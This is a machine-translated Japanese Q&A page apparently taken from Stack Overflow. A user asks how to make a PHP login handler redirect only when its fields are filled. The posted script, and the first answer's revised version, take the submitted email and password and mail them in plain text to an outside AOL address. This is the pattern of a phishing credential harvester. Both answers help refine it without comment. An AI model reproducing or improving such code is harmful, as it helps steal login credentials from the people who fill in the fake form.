0

私はこのフォームを持っています。ユーザー名/パスワードフォームに記入せずにログインをクリックしてホームページに戻るユーザーと、提出されたものに記入したユーザーは、processing.htmに送信されます。これは私が今のところ持っていた方法であり、フィールドが空白であるかどうかに関係なく、すべての人を処理にリダイレクトします。私がこれを適応させることができるようにいくつかのチャンスはありますか?

<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;

$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "myemail@aol.com";
mail($to, $subj, $msg, $From);{
echo ("<script>");
echo("window.location=\"processing.htm\"");
echo("</script>");
}

?>

ありがとうございました

4

2 に答える 2

1

処理中の .htm をロードするときに条件を指定する必要があります

<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;


if(!(empty($userid) && empty($pass))){
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "myemail@aol.com";
mail($to, $subj, $msg, $From);

header("Location: http://yoursite.com/processing.htm");
}
else
{
header("Location: http://yoursite.com/homepage.php");
}


?>
于 2013-03-10T16:42:41.747 に答える
0

使用:

if(!empty($userid) && !empty($pass)){
    // You have data
} else {
    // The user didn't enter any data
}

header()次に、次のように JavaScript に依存するのではなく、PHP 関数を使用してリダイレクトできます。

header("Location: http://example.com/mypage.php");
于 2013-03-10T16:40:24.947 に答える